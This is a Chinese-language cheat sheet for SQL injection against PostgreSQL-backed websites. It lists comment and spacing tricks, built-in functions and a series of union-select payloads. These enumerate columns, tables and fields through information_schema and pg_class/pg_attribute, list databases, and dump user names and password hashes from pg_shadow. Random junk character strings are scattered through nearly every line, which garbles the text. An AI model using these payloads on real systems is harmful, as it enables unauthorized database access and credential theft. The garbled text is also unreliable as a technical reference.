结合了MSSQL MySQL Oracle的一些特点7 p5 s! c; ~* z( z
支持多语句执行,语句可以没有from postgres用户是超级用户(创始人账户) 只有superuser有copy权限 注释: — , /**/; P5 G7 c1 Q4 s4 A3 K$ j
连接符: %20 , + , /**/ 内置函数:
1 K% B* x' i# w `: \: Ccurrent_database() //当前数据库名2 |/ L; I6 a5 ~; H% @( E" o* G. v( V
session_user //会话用户" y. E& m, ~/ N! H; Y, Y
current_user //当前数据库用户
" T5 z0 r% a. d/ c: X$ @. \user //当前用户) B% g7 f; D/ Q6 B# n& E3 e
version() //数据库版本 Union注射:- g4 A) e& y4 Y8 r9 N" D+ b
order by n–8 E; C: \! i0 F9 m1 O- |7 Z/ K
and 1=2 union select null,null,null–- d; i* b' ]9 L" E% S1 A$ ~2 I
and 1=2 union select ‘beach’,null,null–
0 o7 w" V, X$ J; B! f$ P" @6 dand 1=2 union select (select version()),null,null– 获取表名,字段名(新版本利用information_schema):. ?" I3 Y% E0 F' F- H" ]- F: g
group_concat(table_name)
+ k2 O8 T$ L. B8 k, Mand 1=2 union select table_name,null,null from information_schema.tables limit 1 offset n–
' H& C6 a+ c) H) r: {4 P, h/ y8 b" Yand 1=2 union select column_name,null,null from information_schema.columns where table_name=’admin’ limit 1 offset n–
; o; n8 R$ d* P/ E(老版本)
; z$ ]- H" J* Hpg_class.oid对应pg_attribute.attrelid
3 [9 ~; H# O* J- Qpg_class.relname表名
" W4 y2 _4 P, Y! E |& Lpg_attribute.attname字段名 select relname from pg_class获取表名
8 \( u; j* Z3 _" T( A# R3 vselect oid from pg_class where 条件 获取参数! c Q2 l" Z# A" m' d
select attname from pg_attribute where attrelid=’oid的值’ 获取字段名 实战:
% D& z3 S9 y, T0 Cand 1=2 union select relname,null,null from pg_class where relkind=’r’ limit 1 offset 0–加入relkind=’r'只查询普通表
8 `) D: `- N5 p: t, g3 Oand 1=2 union select cast(oid as varchar(10)),null,null from pg_class where relkind=’r’ limit 1 offset 0–; k% [7 t$ T7 e% e5 C" b
由于oid类型是oid,要数据类型兼容我们用cast函数强制转换成varchar类型。比如得到1136 and 1=2 union select attname,null,null from pg_attribute where attrelid=1136 limit 1 offset 0–爆表名
, N! t) ]5 C1 |* q' Q$ V. |* B======================================================================
8 z; B8 h( H# eand 1=2 union select datname,null,null from pg_database limit 1 offset 0–爆库( x/ G( C1 h/ I/ `) n
and 1=2 union select username||chr(124)||passwd,null,null from pg_shadow limit 1 offset 0–爆数据库用户密码 |